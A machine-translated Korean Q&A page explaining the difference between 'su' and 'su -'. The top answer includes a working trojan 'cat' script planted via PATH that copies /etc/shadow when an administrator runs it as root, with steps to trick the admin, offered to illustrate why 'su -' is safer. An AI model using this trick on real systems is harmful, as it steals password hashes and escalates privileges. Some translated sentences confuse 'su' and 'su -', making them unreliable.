it-swarm-ko.tech

왜 su가 아닌 su를 사용합니까?

su -는 루트로 로그인하기 위해 su보다 선호됩니다.

187
Dharmit

su -는 사용자를 전환 한 후 로그인 쉘을 호출합니다. 로그인 쉘은 대부분의 환경 변수를 재설정하여 깨끗한 기반을 제공합니다.

su은 사용자를 전환하여 일반 사용자에게 이전 사용자와 거의 동일한 환경을 제공합니다.

컴퓨터에 대한 일반 사용자 액세스 권한을 가진 소프트웨어 개발자이고 무지한 관리자가 루트 액세스 권한을 부여하지 않는다고 상상해보십시오. (희망스럽게) 그를 속이자.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

이제 관리자에게 홈 폴더의 더미 파일을 cat 할 수없는 이유를 물어보십시오. 작동하지 않습니다!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

관리자가 똑똑하지 않거나 조금 게으 르면 책상에 와서 슈퍼 유저 권한을 사용해보십시오.

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

와! 감사합니다, 최고 ​​관리자!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

그는.

손상된 $PATH 변수가 재설정되지 않았습니다. 관리자가 su - 대신에.

251
wag

su -는 루트로 완전히 로그인하는 반면 su는 루트로 가장합니다.

가장 확실한 예는 ~를 사용하는 경우 su -가 루트의 홈 디렉토리이고 su를 사용하는 경우 자신의 홈 디렉토리입니다.

시스템에 따라 프롬프트, PATH 또는 기록 파일의 차이를 의미 할 수도 있습니다.

따라서 시스템을 관리하는 팀의 일원이고 동료가 실행할 명령을 제공하는 경우 su -를 사용하는 경우에도 동일하게 작동하지만 su, 다른 셸 구성으로 인해 차이가있을 수 있습니다.

반면에 루트로 명령을 실행하고 자신의 구성을 사용하려면 su가 더 좋습니다.

또한 루트로 실행되는 쉘을 시작하기위한 -s 옵션이있는 Sudo도 잊지 마십시오. 물론 여기에는 다른 규칙이 있으며 사용중인 배포판에 따라 변경됩니다.

37
Mikel

주요 차이점은 다음과 같습니다.

su - username는 지정된 사용자로 로그인 한 것처럼 쉘 환경을 설정하고 지정된 사용자 환경 변수에 액세스하여 사용합니다.

su username는 지정된 사용자에 대한 현재 환경 설정으로 셸을 시작합니다.

susu -로 username을 지정하지 않으면 루트 계정이 기본값으로 암시됩니다.

2
Akhil MK

나는 일반 사용자로 디렉토리에 있지만 루트로 전환하고 스위치 후에 동일한 디렉토리에 남아 있고 싶을 때 su를 사용합니다. su를 사용하면 사용자를 루트로 전환하고 루트 홈 디렉토리 인/root로 이동합니다.

1
Calvin Dike